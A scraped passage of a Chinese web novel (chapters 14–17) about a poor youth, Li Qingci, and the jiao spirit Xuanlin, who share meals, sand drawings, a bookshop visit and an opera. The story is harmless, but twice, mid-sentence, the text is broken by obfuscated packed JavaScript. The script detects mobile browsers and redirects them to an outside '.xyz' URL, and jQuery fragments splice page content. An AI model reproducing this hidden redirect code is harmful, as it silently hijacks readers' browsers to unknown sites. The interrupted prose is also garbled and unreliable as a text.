等再睁开眼时,他已经站在家门口了。 这时候,他没什么困意,开口叫住玄鳞:“你要来我家坐坐吗?” 玄鳞来送过他好几次了,他都没请人进来喝杯水。 14. 第 14 章 “不去。” 玄鳞出言拒绝,他不喜欢凡人住的房子,四面八方都有墙,像个笼子。 “哦,好吧。”李青辞听完有点失落,他朝玄鳞笑了笑,“明天见。” “嗯。”话音落地,玄鳞就消失不见了。 接下来,一连五日。 李青辞顿顿在山上加餐,都是玄鳞烤的肉类。 这天晌午,李青辞扯下一块不知道什么东西的腿,腿肉很结实,他嚼了半天才咽下去,吞咽的时候,他觉得嗓子有些疼,还有些说不上来的燥和痒。 总之不太舒服。 玄鳞见他摸着脖子高一腔、低一腔的吭吭哧哧,抬脚踢了他一下:“干什么呢?” 李青辞咽了咽口水,哑声道:“嗓子不舒服,可能是上火了。” 玄鳞看着他手里拿着的肉,问道:“还吃不吃?” “不吃了。”李青辞摇头道,“饱了。” 玄鳞嗯了一声:“去洗手。” “好。”李青辞立刻照做。 等他洗完手回来,就见玄鳞脚下放了一大堆莲蓬,还有一根非常长的莲藕。 他走过去,跟莲藕并排躺着,问道:“玄鳞,我跟这根藕谁高一些?” 玄鳞懒得回答他这蠢问题。 “玄鳞,你说话啊,我们谁高一点?”李青辞追着他问,大有不达目的不罢休的架势。 玄鳞抬手扶额,烦躁道:“你高!” 李青辞闻言,立刻开心笑了起来。 玄鳞听着他欢快的笑声,十分不解。 比一根藕长,是件很光彩荣耀的事吗! 李青辞翻身坐起来,剥莲子吃。 白白胖胖的莲子吃起来非常香甜,就是中间的绿芯有些苦,他碾开莲子,挑出芯子,打算扔到一边。 就听见玄鳞冷声道:“不许扔,咽下去!” 李青辞抿了抿嘴,不情愿道:“可是,它有点苦。” “少废话,咽!”玄鳞语气很凶,听起来不容置疑,没有一点商量的余地。 李青辞不由得撇嘴,心不甘、情不愿地吃了。 一连吃了两个大莲蓬,李青辞饱了,他将手心里剥好的莲子递到玄鳞脸前:“你吃吗?” 玄鳞撩开眼皮,没等他开口,就听见李青辞用保证的语气说:“我的手刚刚洗得很干净。” 玄鳞伸手捻了一颗莲子扔进嘴里,吃到一半神色一顿,他皱着眉咽下去了。 他现在基本都是吸收日月精华和天地灵气,很久没吃过东西了,都忘了莲子什么味儿。 芯子是有点苦。 李青辞瞟了一眼他的神色,开口问道:“你还吃吗?我把芯给你挑出去。” “行。”玄鳞道,“挑出来的芯子你吃下去。” 李青辞闻言手上一顿,幽怨地看着他,用眼神抗议他这种过分的行为。 玄鳞闭上眼不理睬:“快点,我等着吃。” 李青辞学着他的样子,冷冷哼了一声。 突然,脑门被弹了一下。 玄鳞道:“瞎哼唧什么,快点挑!” “知道了。”李青辞不怎么高兴地说,“不要催了。” 等这捧莲子吃完,李青辞终于从“苦海”里解脱出来了。 他拍了拍手,手肘撑在地上,双手托脸,歪头看着玄鳞:“玄鳞,莲藕怎么吃啊?” 玄鳞冷声道:“用眼睛吃。” 李青辞闻言一哽,伸手扯了扯他的袖子:“玄鳞,你好好讲话。” “你是傻子吗!”玄鳞睁开眼瞥他,“吃都不会,拿回去煮了。” 李青辞垂下眼睛,低声道:“我不太会做饭,总点不着火,就算点着了也很快就灭了,菜刀我也用不好,炒过几次菜,每次都糊锅。” 玄鳞听完简直想笑,这叫不太会,这根本是一点都不会! 他坐起来,嗤了一声,指着李青辞问:“那你会什么?” 李青辞也起身慢慢坐直,他会什么呢? 手不能提、肩不能扛,不会做饭、不会绣花、不会编织。 “不知道,我想不出来。”越想,李青辞越沮丧,他扣着手指头,脑袋越垂越低。 玄鳞揪着他后脑勺的发髻:“抬头。” 李青辞顺着力道抬头。 玄鳞命令道:“吸气。” 李青辞照做。 玄鳞又道:“吐气。” 李青辞深深吐出一口气,腮帮子都撑圆了。 玄鳞拍了拍他的脑袋:“看,你会呼吸。” 李青辞:“……” 玄鳞指了指地上的莲藕,似笑非笑道:“你比莲藕强,毕竟莲藕不会呼吸,除此之外,你还会吃和睡。” 李青辞努着嘴,把额头抵在膝盖上。 玄鳞说话好难听,本来想生他的气,可是他说的又是实话。 李青辞感觉心口酸酸的,有点难受,他好像真的没什么用。 “行了,别在那装鹌鹑了。”玄鳞扯着他的领子把人薅起来,“去,躺那睡觉。” 李青辞挣开他的手,坐在原地不动。 玄鳞啧了一声,正想教训他,就见这人红着眼圈,一副要哭不哭、伤心不已的模样。 玄鳞忍不住头疼,他实在不能理解:“至于吗?” “至于。”李青辞用手抹了抹眼睛,难过道,“你又不是我,你当然不明白,我什么都不会,一点用都没有。” 委委屈屈的声音,小身板一抽一抽的。 玄鳞见状,不禁后悔,把人逗过头了,早就知道就不说他那两句了。 他拍了拍李青辞的脑袋:“不会就不会,没用正好,省得别人利用你,你吃吃睡睡、好好呼吸,过完一辈子不挺好吗。” 李青辞挥开他的手,将脑袋转到一边。 玄鳞深深吸了口气,放缓声音道:“妖也是这样,每天吃了睡睡了吃,有时候打打架,修炼就跟你呼吸一样,我觉得这样挺好的。” “可我是人。”李青辞越缩越小,声音都带着哭腔。 “你没完了是吧!”玄鳞没耐心了,把人薅过来,掐住他的脖子,“不然我现在掐死你,你重新投胎。” “投成一条鱼,吃吃睡睡、努力呼吸,等什么时候游不动了,就翻翻白眼去死。” “不要。”李青辞去拽玄鳞的手,“我还是想当人。” 玄鳞嗯了一声,撤下手把人摁住:“过来睡觉,平常这个时候都打呼噜了。” 李青辞抽了抽鼻子,辩解道:“我不打呼噜。” 他隐约记得,他娘说他睡觉很乖、很安静,一点都不会哭闹。 “……好好,不打不打。”玄鳞顺着他说,他本来也是瞎说的,小东西睡觉很安静,往那一缩,好半天都不动弹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514033|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李青辞不困,但是后背压着一只大手让他爬不起来,只好不情愿地躺着。 两人并排睡在树荫下,李青辞闷脸趴着,身下的石头暖融融的,他抠了抠石头,指尖沾染了很细微的沙砾。 沙砾! 李青辞猛地向上蹿……没蹿起来。 “我想起来自己会什么了!”他伸手去推玄鳞,急切道,“玄鳞,你快让我起来!” 玄鳞闭着眼,本来没想理会,但听他声音满是兴奋,便撤下手。 李青辞一骨碌爬起来,凑到玄鳞脸前,拽着他一绺头发晃了晃:“玄鳞,你能不能给我变一捧细沙?” 玄鳞闭着眼,努力让自己不去在意被攥住的头发:“要沙子干什么?” “我会用沙子画画。”李青辞笑着说,“我画得可好了!” 玄鳞眼睛掀开一条缝看他:“闭眼,伸手。” “好。”李青辞刚闭上眼,就感觉手心痒痒的,无数细小的沙砾落进他掌心,他觉得捧不住了,指缝开始扑簌簌往下落沙子,连忙开口,“够了够了!” 玄鳞道:“嗯,去一边儿玩。” “好。”不过,捧着沙子不方便干活,李青辞瞄向玄鳞,见他闭着眼,便轻轻地把沙子暂时放在他衣摆上。 等了两息,见他没发现,李青辞抿嘴偷笑,跑到一边准备画画的东西。 在水潭边寻摸了好一会儿,他终于找到了一块表面平滑的大石头。 从地上捡起一个荷叶,他回到玄鳞身边,把玄鳞衣摆的沙砾搓到荷叶上。 捻起一小撮细沙,缓缓在石头上勾勒。 此时,老天很眷顾李青辞,四周连一丝微风也无。 没一会儿,李青辞就画好了,可他怎么看都不满意,来回涂抹,过了许久,他觉得以自己的能力没有增进的余地了,便跑到玄鳞身边喊他:“我画好了,你过来看!” 玄鳞顿了顿,还是翻身坐起。 他一边走,一边抖了抖自己的衣摆。 等俩人来到石头处,李青辞仰头看他,兴奋道:“你看,我画你画得像吗?” 石头上,细沙勾勒出的人面,与玄鳞有七八分像,不完美之处在眼睛。 玄鳞道:“还算凑合。” 李青辞认同地点了点头,丧气道:“你的眼睛太好看了,我画不出来。” 人常说,画龙点睛,可见眼睛确实难画。 “行了,少拍马屁。”玄鳞垂眸瞥他,问道,“这画跟谁学的?” 画得很像,不可能是自己瞎琢磨的,小东西竟然还会这一手。 李青辞笑了笑道:“跟孔雀学的。” 玄鳞闻言皱眉:“孔雀?” “嗯。”李青辞点了点头,“他是个很漂亮的公孔雀。” 就孔雀那俩爪子还能画画?玄鳞抱臂嗤笑,忽觉不对,反应一下才明白过来:“他是妖!” 音量突然拔高,李青辞冷不丁被吓了一跳。 玄鳞扣住他的肩膀,把人拖过来,沉声道:“你什么时候见的这个孔雀?” 李青辞不明白玄鳞为什么突然严肃起来,但仍是老实回答:“小时候,当时我才六岁。” 玄鳞气势逐渐缓和下来,不过依旧眉头紧锁,冷声训斥:“跟妖学东西,你吃饱了撑的!” 怪不得这小东西一开始不怕他,原来是见过其他妖,已经见怪不怪。 15. 第 15 章 李青辞点头:“确实是吃饱撑的,当时吃完饭没事做,见孔雀在画画,就凑过去看。” 玄鳞吸了口气,额角直抽抽:“……你怎么知道他是孔雀,你见过他原形?” “当然是孔雀自己说的,不然我怎么会知道。”李青辞觉得他的问题很多余,“我没见过他原形,但我见过画。” “是画在纸上的,上面的绿孔雀非常漂亮,很逼真,简直像活的一样。” 李青辞说话的时候,眼里的惊叹十分明显。 玄鳞伸手在他脑门弹了一下。 李青辞嘶了一声,伸手捂头:“玄鳞,你干嘛呀?” 见他吃瘪,玄鳞心里舒坦不少,咳了一下,冷声道:“让你长长记性,以后看见妖赶紧跑,少往跟前凑!” 李青辞闻言放下手,抬起头,斜眼看他。 玄鳞一愣,随即道:“我也是,以后离我远点。” “不要。”李青辞上前拽住他的袖子,轻轻晃了晃,“我想跟你待在一起。” 玄鳞冷哼一声。 片刻后。 一人一蛟,并排躺在树荫下。 李青辞脸上盖着黑色的衣袖,惊叹道:“玄鳞,你这衣服真好,一点光都不透,要是用来当帘幔,睡觉的时候就不用被太阳照醒了。” 对于李青辞胆大包天的话,玄鳞强忍着没发作。 李青辞摸着脸上的布料,越摸越喜欢,他凑过去,轻轻戳了戳玄鳞的腰:“这衣裳你哪天穿腻了,能绞给我一截吗?一小截就行,我想用来蒙眼睛。” “李青辞!再多话,我先扒了你的皮!” “哦,不说就说,干嘛这么凶。” “滚。” “不要,我就想挨着你。” “……你想不想挨打?” “知道了,这就闭嘴。” 耳朵终于清静了。 没等一会儿,玄鳞烦躁得不行,小崽子的呼吸全喷在了他袖子上。 黏黏糊糊,热了吧唧。 折腾半天,李青辞这会儿睡得很沉,他微微侧着身,脸偏向玄鳞。 时间如大川,奔腾不息,一下午悄然已逝。 李青辞睡得迷迷瞪瞪,他眨了眨眼睛,一片黑暗,还没等他开始惊慌,脸上像是被水拂过,紧接着眼前突然一亮。 他喘了口气平复心神,原来是玄鳞把袖子抽走了。 此时,天边的夕阳,灿烂瑰丽。 李青辞看着天空,轻声喃喃:“玄鳞,晚霞好漂亮。” 玄鳞掀开眼皮,朝上睨了一眼,闭上眼嗯了一声。 李青辞朝天空伸手,向往道:“好想摸一摸。” 玄鳞没搭理他痴心妄想的蠢话。 俩脏爪子,整天看什么都想摸。 过了一会儿,李青辞举得手酸,默默放下手。 没人再开口,四周变得静谧。 但是很快,这份静谧被一阵咕噜咕噜的声音打破了。 李青辞不太好意思地捂着肚子,整个人缩成一团。 玄鳞朝他瞥去一眼,拍了拍他的脑袋:“饿就饿了,又不是什么丢脸的事,在这等着。” “好。”李青辞说完,慢慢舒展身体,仰头看着天空。 看入了迷,直到一股香味飘到他鼻尖,他才回过神。 转过头,见玄鳞在他身前不远处站着,手里拿着一个绿色的东西,呈筒状,但是底部尖尖的,应该是一种叶子。 他爬起来,深深吸了下鼻子:“好香啊!” “嗯。”玄鳞把汤递给他。 李青辞接过来捧着,被烫得猝不及防,一个没拿稳。 吧唧! 东西掉在地上,洒了一地,里头的汤汁快速淌出来。 李青辞攥紧手,有些无措,急切地看着玄鳞:“对不起,我不是故意弄掉的,它有点烫,我没拿稳。” 玄鳞听见声音,转过头看他,又扫了一眼地上的汤水,皱眉道:“慌什么,掉就掉了。” 李青辞凑到他近前,心里很愧疚,小声道:“汤这么好闻,肯定是你花了心思熬出来的,结果被我浪费了。” “啧,瞎想什么呢!”玄鳞在他脑门弹了一下,“弄这么点东西,我也就抬抬手。” 李青辞抠了抠手,看着地上的藕块,想着捡起来洗洗,应该也能吃。 正当他要蹲下时,眼前多出一个绿色筒子,跟掉在地上的一模一样。 玄鳞道:“拿着,再掉俩也没事,还多着呢。” 李青辞缩了缩手臂,将袖子垫在掌心,小心翼翼地接过来,到手后发现是温热的,不由得吸了吸泛酸的鼻子。 “玄鳞~你真好!” “喝你的汤,话这么多。” “……哦。” 李青辞小口喝汤,时不时捻起藕块送进嘴里,莲藕粉糯香甜,里头的肉炖得很烂糊。 “玄鳞,真好喝,你也太厉害了!”李青辞忍不住大声赞叹,“你厨艺真好!” 玄鳞躺着没睁眼,听见他的声音,就能知道他现在又是一脸没出息的样儿,笑得眼睛眯成一条缝。 “玄~鳞~~”李青辞拖着尾音喊他,用手肘轻轻撞他,“我还想喝。” 深深吸了口气,玄鳞心烦皱眉,抬手搭在眼睛上。 李青辞捧着新的筒子,开心地喝汤。 安静的水潭边,时不时响起轻盈的笑声。 玄鳞双手垫在脑后,神色慵懒、惬意。 等吃饱喝足,李青辞来到水边认真洗手。 他回过头,一边往玄鳞那走,一边甩着手上的水珠。 “玄鳞,明天我不来了。” 玄鳞睁眼看他一瞬,随即闭眼嗯了一声。 李青辞弯下腰,将他落在地上的发梢托起来,凑过去吹了吹,然后搁在他腰上。 “明天我要去城里借书,你愿意和我一块去吗?” 玄鳞闻言皱眉,城里,那岂不是人很多。 “不去。” 按往常,玄鳞说不去,李青辞就会作罢。 但这回,他又尝试一次。 “城里很好玩的,有很多吃的,还能听说书,玄鳞,你真的不想去看看吗?”李青辞努力想把城里描述得很有趣,可是他干巴巴的语气实在没什么吸引力。 顿了顿,李青辞又道:“我有钱,可以给你买东西。” 玄鳞听完笑了一声,他睁开眼,将李青辞上下扫视一遍。 破布烂麻,一身穷酸样儿。 这么些时日,就见他吃过两次肉,瘦不拉几的,有钱就邪门了。 “不去。”玄鳞再次无情拒绝。 李青辞叹了口气:“好吧。” 他托着脸,忍不住又叹了口气:“丰水城离家好远,每次我都走得腿酸,不过,有时候能和水谚一起去,做他的骡车很舒服。” 听到这,玄鳞冷嗤一声:“让我跟你一块去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514034|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合着是把我当骡车使!” “李青辞!你胆儿越来越肥了!” “不是的!”李青辞急忙解释,扯着他的袖子晃了晃,“我是想和你一起走着去,路很远,两个人走不会那么无聊,会显得路近一些。” 他之前都是一个人走过去,每次都觉得路很远很远。 可上次和玄鳞一起走着回家的时候,路就变得特别短。 玄鳞垂眼看他,抽出袖子:“行了,送你回家。” “啊?……好。”李青辞站起来,沮丧地塌着肩膀,闭上了眼睛。 到家门口时,李青辞闷闷道:“后天见。” 等了两息,没听见回应。 只是眨了下眼睛,人就消失不见了,走得真快。 郁闷着回到屋里。 李青辞在桌前看书,这本书他看过五遍了,每次都有新发现。 夜深了。 李青辞钻下床底,摸出一小块银子放在枕头下,然后慢慢睡了过去。 第二天,他睡了个懒觉。 比往常晚了一个时辰才起。 坐起来咳了一声,发现嗓子不难受了,身上那股疲态和困意彻底没了。 浑身轻盈自在。 李青辞翘起嘴角笑着,下床洗漱,穿了件偏厚的外衫,朝城里走去。 此时,虽然已是夏末初秋,但白日的阳光还是很强烈,又晒又热。 走了大概有小半个时辰,李青辞摸了把额头的汗,脱下外衫顶在头上。 他看着身前自己的影子,闷头走路。 突然。 他的影子被罩住了。 一个很高大的阴影笼罩在他身后,将他完全裹住。 李青辞停住脚,慢慢转身回看。 就见玄鳞眯着那双暗金色的眼睛,双手抱胸,在他眼前站着。 “玄鳞!!!” 李青辞兴奋地朝他扑过去,双手抱住他的腰,仰头看他:“玄鳞,你是来找我的吗?” 睁得溜圆的眼睛里,满是惊喜和开心,还有要溢出来的期待。 玄鳞拿下他脑袋上的衣服,啧了一声:“撒手,好好走路。” “哈哈哈…………好!”李青辞仰头笑得很开心,眼睛眯成一弯细细的月牙。 玄鳞看着自己胸前被蹭出来的汗印,皱了皱眉:“这么高兴,至于吗。” “很至于!”李青辞松开手,把自己的衣服拿过来,跟在他身边走着。 他一边走,一边仰头看玄鳞。 他们离得太近,导致他的脑袋要一直往后仰,才能看到玄鳞的脸。 叹了口气,李青辞羡慕道:“玄鳞,你长得真高啊!” 玄鳞闻言,低头看他,从鼻尖哼出一声轻笑。 李青辞没在意玄鳞的调笑,他现在感觉好开心,路都比之前好走很多。 一大一小,两个影子紧挨着。 李青辞看着自己矮了一大截的影子,悄悄往前跨了两步。 嘿嘿!这样他就和玄鳞一样高了。 再往前跨一步,比玄鳞还高。 他转过身,斜眼看着玄鳞,用不屑的语气说道:“玄鳞,你好矮。” 真是反了天了! 玄鳞眉峰压低,眯了眯眼。 李青辞立刻冲他讨好笑着,凑过去扯住他的袖子轻轻晃悠:“你听错了,我刚刚什么都没说。” 玄鳞瞥他一眼,偏过头,无声笑了一瞬。 16. 第 16 章 李青辞拎着外衫晃悠,一会儿走在玄鳞左边,一会儿跑到他右边,偶尔蹿到他前边。 玄鳞对此没什么态度,始终保持一个步调。 随着城门口越来越近,李青辞喘气的声音也不断加重。 他老老实实走在玄鳞左边,抿着嘴一声不吭。 他没力气了。 虽然感觉路变短了,但是该累还是累。 正拖着步子往前走,突然,他双脚悬空。 他被抱起来了。 跟往常玄鳞送他回家的姿势一样,他坐在玄鳞右手臂弯里。 这时,天色很亮,他睁着眼睛,玄鳞也没有用法术,就这么一步一步往前走。 李青辞忽然觉得别扭,不太自在地扭了扭。 “乱动什么。”玄鳞呵斥一句。 李青辞攥住他肩上的布料,低声道:“我觉得不自在,有点奇怪。” 玄鳞看他,眼神疑惑。 李青辞小声道:“很久没人抱我了,不习惯。” 记忆里,还是他四岁的时候,他娘这样抱他。 后来没有人抱过他了。 “不习惯?”玄鳞将眼神从他脸上移开,“刚才往我身上扑的时候,我看你挺习惯。” 李青辞抿了抿嘴,低头呐呐:“刚才我是太高兴了才那样,也是第一次那样,而且那是我抱你,现在是你抱我。” “那你下来自己走。”玄鳞停下站定,“得了便宜还卖乖。” 李青辞哽了一下,攥住他的衣裳,小声道:“可是,我的腿有点酸,自己走可能走不快。” 玄鳞哼了一声,将他往上托了托,继续朝前走。 玄鳞走得很稳,李青辞不再紧绷着腰,慢慢放松下来,他塌下肩膀,低头跟玄鳞说话:“你以前来过丰水城吗?” 玄鳞拧了下眉,语气迟疑:“不记得了。” 他上一次来这里,都是很久以前的事了,那时候有没有这个城都难说。 李青辞又问:“那你去过京城吗?” “去过附近,没进城里。”玄鳞回答得很快。 京城是人间帝王所在,有紫气庇佑,虽然不会直接伤害妖,但是待久了也不舒服。 他不会闲着没事给自己找不痛快。 “哦,好吧。”李青辞伸手比划一下,“我小时候住在京城,城南有一个明翠湖,很大很漂亮,夏天经常有人在那游船泛舟,泡水很舒服,说不定你会喜欢。” 玄鳞面无表情道:“我不喜欢。” 有人的地方他都不喜欢。 “哦,好吧。”李青辞抿住嘴。 玄鳞问他:“你小时候住在京城,为什么现在住在这?” 李青辞淡淡道:“我爹不喜欢我,他看见我就觉得厌烦,所以把我送到这来了。” 他的语气里没有难过,也不是在抱怨和诉苦,就只是简单描述一下事实。 玄鳞听完也没什么感触,毕竟他只见过他爹一面。 妖不像人那样看重血缘,而且在幼妖长大之后,父母会将其驱逐出自己的领地。 “不喜欢就不喜欢,也不是什么重要的事。”玄鳞语气很随意。 李青辞点点头:“我也这样觉得。” 虽然乡下没有京城繁华,衣食住行也差了很多,但是乡下自在,没人对他耳提面命、疾言厉色。 乡下有山、有水、有花、有树,有广阔的旷野。 被玄鳞抱着,李青辞视野宽阔许多,他仰起头,看向一望无垠的天际,翘起嘴角笑着。 脚下的路,被一步步丈量。 远远的,李青辞看见了城门,此时,从其他路上过来的人都汇集在城门口。 李青辞觉得被玄鳞这样抱着,让人看见了难为情,他拍了拍玄鳞的肩膀:“你放我下来吧,我现在不累,能走很快。” 玄鳞没废话,直接将人放下了。 李青辞问他:“你进城有什么要做的吗?” 玄鳞兴致缺缺道:“没有。” 李青辞道:“那你先跟我一块去借书,然后我带你去听说书,好不好?” “随便。”玄鳞无所谓。 两人一块进了城。 许是水路刚通,城里进了很多货船,眼下,城里的人比往常多出不少。 李青辞怕跟玄鳞走散了,就揪住他一小截袖子。 玄鳞低头扫了一眼,当没瞧见。 两人掠过形形色色的人群,朝书肆走去。 李青辞站在柜台前问:“张掌柜,进新书了吗?” “是青辞啊。”张掌柜笑了笑,指了指一侧,“进了,还在老地方。” “好。”李青辞拉着玄鳞过去。 一看见新书,李青辞眼睛都亮了,他转头看着玄鳞道:“你等等我,我很快就挑完了。” “不急,慢慢挑吧。” 李青辞笑着说:“好。” 他开始专心致志看书。 玄鳞随手拿起一本,简单翻了翻,又兴致缺缺地放回去了。 李青辞拿着书快速翻看,一本接着一本,很快,书架上一排书被他翻完了。 他看着一排书,站在原地纠结好一会儿。 玄鳞实在看不过眼,在一旁开口:“喜欢看,全拿走不就行了。” 他看李青辞挑书看得心累。 那叫一个想前顾后、犹疑不决,其中一本书拿起又放下,放下又拿起来,来来回回倒腾了五趟。 李青辞朝他笑了笑,挠着额头掩盖脸上的羞臊,他今天就带了一钱银子,囊中羞涩啊。 稍作纠结,他挑出要借走的两本书,看向玄鳞:“好了,我们走吧。” 来到柜台付账,他将银子递给张掌柜。 张掌柜扫了一眼,诧异道:“这次就借两本?” 往常,都是借五本。 李青辞低头嗯了一声。 一本书就要三十文钱,借完书只剩四十文,听说书俩人要十文钱,剩下的钱正好够买一包刘记糕点。 张掌柜笑了笑,找给他铜板:“挺好,拿钱去买零嘴吧。” 李青辞抱着书,接过铜板。 “青辞!”张掌柜突然惊喊一声,“你是不是长个了?” 他倾身靠近柜台,伸手去摸李青辞的脑袋,又在他胸前的柜台那儿比了比,哎呦一声:“真长个了!” 李青辞摸了摸鼻子,不好意思地抿嘴一笑。 张掌柜伸手掐住他的脸蛋,捏了捏,笑道:“不错,脸上也长肉了,现在小脸看着挺红润的。” 他数出五文钱塞进李青辞手里:“拿着买俩鸡蛋吃。” 李青辞点点头:“好,谢谢掌柜。” 他转过头往外走。 玄鳞看着他脸上的红印,皱起了眉。 等出了门,玄鳞问他:“他掐你脸,你怎么不躲?” 李青辞一愣,解释道:“ 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“不是。”玄鳞补充道,“只是别人会下意识忽略我。” “哦,那就好。”李青辞松了一口气。 等到了茶馆,发现里头已经坐满了,就剩门口还有一小块位置。 李青辞看着里面乌泱泱的人头,还有嘈杂烦乱的声音,怕玄鳞心烦,扯着他走了。 “你不是要听说书?”玄鳞问道。 李青辞摇头:“不听了,里面好多人。” “嗯。”玄鳞没什么意见,被扯着往前走。 李青辞望了一眼远处的楼阁,不禁心下懊恼,要是他多带些钱就好了,可以和玄鳞去园子里听戏,据说二楼有包间,应该会安静一些。 走出去没多远,李青辞迷茫了。 他不知道该去哪里,手里就四十五钱,凡是清静的地方都需要很多钱,而且,他对城里也不算很熟悉,好多地方都没逛过。 玄鳞没看出他的窘迫,问他:“怎么不走了?” 李青辞朝四周张望,瞥见一个买炒货的货郎,便拉着玄鳞过去。 花了十文钱,买了一包炒货。 李青辞仰头问玄鳞:“你吃瓜子和花生吗?我给你剥皮。” 玄鳞拒绝:“不吃,你自个吃吧。” “好吧。”李青辞想了想,往刘记糕点走,站在柜台前,他问,“玄鳞,你有想吃的吗?” 玄鳞扫了一眼,不感兴趣:“不用管我,买你自己想吃的。” “好。”李青辞在一众五花八门的糕点里,挑花了眼,他看哪个都想吃,摸着口袋里的铜板,他伸手指了指,“我要这两块。” 玄鳞实在受不了他那抠搜样儿,在身上摸了摸,掏出一个东西扔在柜台上,开口道:“想吃什么就拿。” 咣当一声! 李青辞看清柜台上的东西时,顾不得惊讶,趁伙计还没往这看,他立刻伸手拿回来,赶紧拽着玄鳞往一旁人少的地方去。 “干什么?”玄鳞语气不解,但仍是随着他走了。 等来到僻静处,李青辞左右看了看,见没人,便举起那枚圆滚滚、金灿灿足有鸡蛋大小的东西,压低声音问他:“你知道这是什么吗?” “金子!”玄鳞语气不怎么好,他又不是傻子。 17. 第 17 章 李青辞晃了晃那枚沉甸甸的金蛋,震惊道:“你知道这有多值钱吗?都可以买下刚才那个点心铺子!” 玄鳞嗯了一声,语气没什么起伏,听上去毫不在意的样子。 李青辞咽了口吐沫,严肃道:“这个很值钱,你以后不要随便拿出来,尤其是在人多的地方,不然会有人盯上你的。” 玄鳞闻言蹙眉:“你被盯上过?” 李青辞愣了一下,郁闷地点了点头。 那时候,他十二岁,第一次从刘正兴那里要到二钱银子,他当时不太懂,就直接用手拿着。 结果没等他进城,银子在半路上就被抢走了。 踹他的那一脚,让他疼了好几天。 李青辞想起这件事,就忍不住生气,他看着玄鳞,再次叮嘱:“你一定要——” 说到一半顿住了,他看着那双暗金色的眼珠,低头抿了抿嘴,不好意思道:“我忘了你的身份。” 他把那个金蛋递给玄鳞。 玄鳞没接:“你拿着玩吧。” 李青辞惊讶地张大嘴,他感觉玄鳞刚才根本没有认真听他讲话,他只得再次重复:“这是金子,很值钱的!” 说完把金蛋塞进他手里。 玄鳞不耐烦了:“这玩意我多的是,你不要就扔了。” “什么!”李青辞惊讶得声调都变了,“多的是,有多多?” 玄鳞拧眉回想:“差不多能装满山上的那个水潭。” 李青辞听完,差点一口气没上来,他感觉自己对钱没有概念了。 那么多金子,能买多少东西啊! 玄鳞捏住他的下巴往上一抬:“闭嘴,一脸傻样儿。” 李青辞愣愣看着眼皮子底下的手,喃喃道:“我觉得不是你在摸我,而是一座金山在摸我。” “玄鳞,你真的好有好有……好有钱!” 玄鳞:“……” 他推了一把李青辞的脑袋:“行了,想要什么去买,别一脸扣扣嗖嗖的穷酸样儿。” 看着可怜巴巴的。 李青辞攥紧手里的金蛋,想了想,他还是不敢拿,递给玄鳞:“这个好重,你先替我收着,等到家再给我。” 玄鳞耐着性子回他:“行吧。” 又从身上摸出小一点的金子给他。 李青辞看着手心里鹌鹑蛋大小的金子,仍是有些恍惚。 “玄鳞,有没有比这再小一点的?” 玄鳞啧了声,顿了顿,开始在身上翻找。 李青辞看着手里指头大小的金珠,扯住他的袖子,笑道:“走,我们去园子里听戏!” 玄鳞嗯了一声。 两人走进一楼,伙计迎上来,将他俩快速打量一遍,笑吟吟道:“下一场演的是状元记,二位可算是来着了,一楼靠窗那儿,还有个好位置,我领二位过去。” 李青辞摇头,把金珠递给他,问道:“有空闲的雅间吗?” 伙计一愣,接过金珠,赶忙说:“有有,两位贵客楼上请!” 引着他们来到二楼,雅间三面围着,一面开着朝向中间的戏台。 伙计退下后,不一会儿又上来了,给雅间上茶果点心。 “小的在外面候着,两位贵客尽管吩咐。”伙计离去。。 戏开场了。 李青辞和玄鳞相邻而坐,一人一把圈椅。 刚听没两句,玄鳞就烦躁地闭上了眼。 李青辞刚开始听得认真,后来心思就不在戏上了。 他低头剥瓜子,将瓜子仁放在小碟子里,等攒够一碟,一把倒进嘴里。 这场戏不算很长,故事也不复杂,一个时辰就演完了。 一场戏下来,李青辞吃瓜子吃得口渴,一连喝了半壶茶。 玄鳞睁开眼睛瞥他:“你是来听戏的,还是来吃的?” 李青辞笑了笑,指着台下身穿红色袍服演状元的戏子:“他演的是我爹,这出戏对我来说没什么新鲜的。” 戏里用的化名,跟真实的事情有出入,他刚开始没听出来,直到演了一折戏后,他才听出来。 玄鳞闻言一怔,拧眉回想刚才那出戏。 李青辞拍了拍手上的瓜子壳,朝他道:“戏散了,咱们走吧。” 楼下柜台,李青辞收好掌柜找的银钱。 掌柜指了指戏台,语气颇为自得:“这可是从京城来的戏班子,这出戏,贵客听得可还满意?” 李青辞点头,扯出一抹笑来:“满意。” 两人朝园子外走。 身后没安静多久,紧着着锣鼓喧天,又开始上演下一场戏。 《状元记》,确实是个喜闻乐见的故事。 状元出身于耕读世家,家里有几十亩田地,父亲还是秀才,在当地算得上富裕,他从小就跟着父亲读书,很有天资。 状元九岁那年,父亲去省里参加乡试,却在途中意外身亡。 父亲死后,尽管母亲竭力操持家中生计,但家中还是渐渐衰败下去。 状元十三岁那年,家中为了供他读书,已经变卖大半田地,母亲做着浆洗和替人缝补的活计。 干的活多了,总会碰见一两个熟人,拜高踩低人之常情,难免会被人糟践两句。 同样,状元也被同窗讥讽挖苦,他的功课在学堂里一骑绝尘,被不少人嫉恨。 状元一心只读圣贤书,两耳不闻窗外事。 十五岁时,他考中秀才,与比他大两岁的县丞独女定亲。 十八岁,考中举人,与县丞独女成婚。 十九岁,前往京城参加会试,赢得头名,高中会元。 殿试时,状元在一众世家子弟、才子天骄中脱颖而出。 